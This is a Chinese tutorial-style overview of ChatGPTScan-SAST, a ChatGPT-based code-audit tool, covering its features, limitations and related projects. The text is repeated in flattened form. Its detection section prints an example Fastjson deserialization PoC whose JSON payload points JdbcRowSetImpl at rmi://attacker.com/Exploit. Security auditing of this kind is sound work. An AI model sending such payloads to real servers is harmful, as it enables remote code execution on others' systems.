ChatGPTScan:使用ChatGPTScan批量进行代码审计-续集
字数 1210 2025-08-25 22:58:56

ChatGPTScan-SAST 代码审计工具教学文档

一、工具概述

ChatGPTScan-SAST 是基于 ChatGPT 的代码审计工具 Web 版本,前身为 ChatGPTScanner 命令行工具。该项目旨在利用 ChatGPT 的强大分析能力进行自动化代码审计,识别潜在安全漏洞。

GitHub 仓库:https://github.com/YulinSec/ChatGPTScan-SAST

二、核心功能与特点

1. 多文件关联分析能力

  • 能够识别 MVC 架构模式
  • 理解跨文件的调用关系
  • 分析数据流从 source 到 sink 的完整路径
  • 示例:成功分析 Spring Boot 的 Controller-Service-Impl 结构

2. 漏洞检测能力

  • 可识别常见漏洞如 Fastjson 反序列化
  • 能够生成包含 URL 的完整 PoC
  • 示例检测结果:
    POST /test/fastjson HTTP/1.1
    Host: example.com
    Content-Type: application/json
    
    {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://attacker.com/Exploit",
      "autoCommit": true
    }
    

3. 逻辑分析能力

  • 能够判断代码中主客体关联的合理性
  • 对条件严苛的问题有一定分析能力(如无字母数字命令执行)

三、技术限制

1. Token 长度限制

  • OpenAI API 对输入 token 数量有严格限制
  • 大文件或复杂项目可能无法完整传入分析
  • 目前解决方案:代码预处理和精简

2. 准确性限制

  • 可能生成不存在或不合理的分析结果
  • 在复杂正则表达式场景表现较差
  • 对无字母数字命令执行等特殊场景需要多次提示

四、实际应用表现

1. 优势领域

  • 常规漏洞模式识别
  • 跨文件调用关系分析
  • 快速生成漏洞验证 PoC
  • 辅助完成基础代码审计工作

2. 不足领域

  • 高度复杂的逻辑漏洞分析
  • 创新性漏洞发现
  • 需要深度专业知识的安全问题

五、相关项目推荐

  1. burpgpt - BurpSuite 的 GPT 插件: https://github.com/aress31/burpgpt
  2. Auto-GPT - 自动化 AI 代理: https://github.com/Significant-Gravitas/Auto-GPT
  3. gpt4all - 本地运行的开源 GPT: https://github.com/nomic-ai/gpt4all
  4. ChatGLM-6B - 清华开源的中英双语模型: https://github.com/THUDM/ChatGLM-6B

六、使用建议

  1. 作为初级代码审计助手使用
  2. 用于快速扫描常见漏洞模式
  3. 结合人工验证分析结果
  4. 对复杂项目进行模块化分析以规避 token 限制

七、未来展望

  1. 期待开源模型性能提升
  2. 优化 token 使用效率的技术发展
  3. 更精准的代码分析能力增强
  4. 与专业安全工具的深度集成

八、结论

ChatGPTScan-SAST 是目前将 AI 技术应用于代码审计的有益尝试,能够有效辅助安全研究人员完成基础审计工作,但在复杂场景下仍需依赖专业人员分析。该工具代表了安全自动化的发展方向,但尚不能完全替代人工审计。

ChatGPTScan-SAST 代码审计工具教学文档 一、工具概述 ChatGPTScan-SAST 是基于 ChatGPT 的代码审计工具 Web 版本,前身为 ChatGPTScanner 命令行工具。该项目旨在利用 ChatGPT 的强大分析能力进行自动化代码审计,识别潜在安全漏洞。 GitHub 仓库:https://github.com/YulinSec/ChatGPTScan-SAST 二、核心功能与特点 1. 多文件关联分析能力 能够识别 MVC 架构模式 理解跨文件的调用关系 分析数据流从 source 到 sink 的完整路径 示例:成功分析 Spring Boot 的 Controller-Service-Impl 结构 2. 漏洞检测能力 可识别常见漏洞如 Fastjson 反序列化 能够生成包含 URL 的完整 PoC 示例检测结果: 3. 逻辑分析能力 能够判断代码中主客体关联的合理性 对条件严苛的问题有一定分析能力(如无字母数字命令执行) 三、技术限制 1. Token 长度限制 OpenAI API 对输入 token 数量有严格限制 大文件或复杂项目可能无法完整传入分析 目前解决方案:代码预处理和精简 2. 准确性限制 可能生成不存在或不合理的分析结果 在复杂正则表达式场景表现较差 对无字母数字命令执行等特殊场景需要多次提示 四、实际应用表现 1. 优势领域 常规漏洞模式识别 跨文件调用关系分析 快速生成漏洞验证 PoC 辅助完成基础代码审计工作 2. 不足领域 高度复杂的逻辑漏洞分析 创新性漏洞发现 需要深度专业知识的安全问题 五、相关项目推荐 burpgpt - BurpSuite 的 GPT 插件: https://github.com/aress31/burpgpt Auto-GPT - 自动化 AI 代理: https://github.com/Significant-Gravitas/Auto-GPT gpt4all - 本地运行的开源 GPT: https://github.com/nomic-ai/gpt4all ChatGLM-6B - 清华开源的中英双语模型: https://github.com/THUDM/ChatGLM-6B 六、使用建议 作为初级代码审计助手使用 用于快速扫描常见漏洞模式 结合人工验证分析结果 对复杂项目进行模块化分析以规避 token 限制 七、未来展望 期待开源模型性能提升 优化 token 使用效率的技术发展 更精准的代码分析能力增强 与专业安全工具的深度集成 八、结论 ChatGPTScan-SAST 是目前将 AI 技术应用于代码审计的有益尝试,能够有效辅助安全研究人员完成基础审计工作,但在复杂场景下仍需依赖专业人员分析。该工具代表了安全自动化的发展方向,但尚不能完全替代人工审计。